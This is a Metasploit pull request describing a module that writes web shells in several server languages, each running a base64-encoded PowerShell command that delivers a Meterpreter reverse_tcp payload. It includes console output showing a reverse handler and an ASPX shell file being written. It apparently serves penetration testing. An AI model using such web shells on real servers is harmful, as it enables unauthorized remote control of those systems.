rapid7/metasploit-framework — pull request #1312 by nullbind (2013-01-14 22:06:23+00:00)
Title: Generates web shells to exec payloads via Powershell process injection

This module will generate a web shell in the language defined by the "WEB_LANG" option which passes a base64 encoded PowerShell command to the Windows operating system that will execute the defined MSF payload. This can be a handy way to deliver Metasploit payloads when you have the ability to upload arbitrary files to a web server. The txt extension can also be defined in order to write the raw PowerShell command to a file for manual execution. Example below:

msf exploit(ps_webshells) > show options

Module options (exploit/windows/misc/ps_webshells):

Name Current Setting Required Description
---- --------------- -------- -----------
OUT_DIR c:\windows\temp\ yes output directory
TARGET_ARCH 64 yes 64,32
WEB_LANG aspx yes TXT,JSP,PHP,ASP,ASPX,CFM

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.2 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(ps_webshells) > exploit

[*] Started reverse handler on 192.168.1.2:4444
[*] Writing file for msf payload delivery to c:\windows\temp\dIquta.aspx...
[+] 6519 byte file written.

[*] Module execution complete.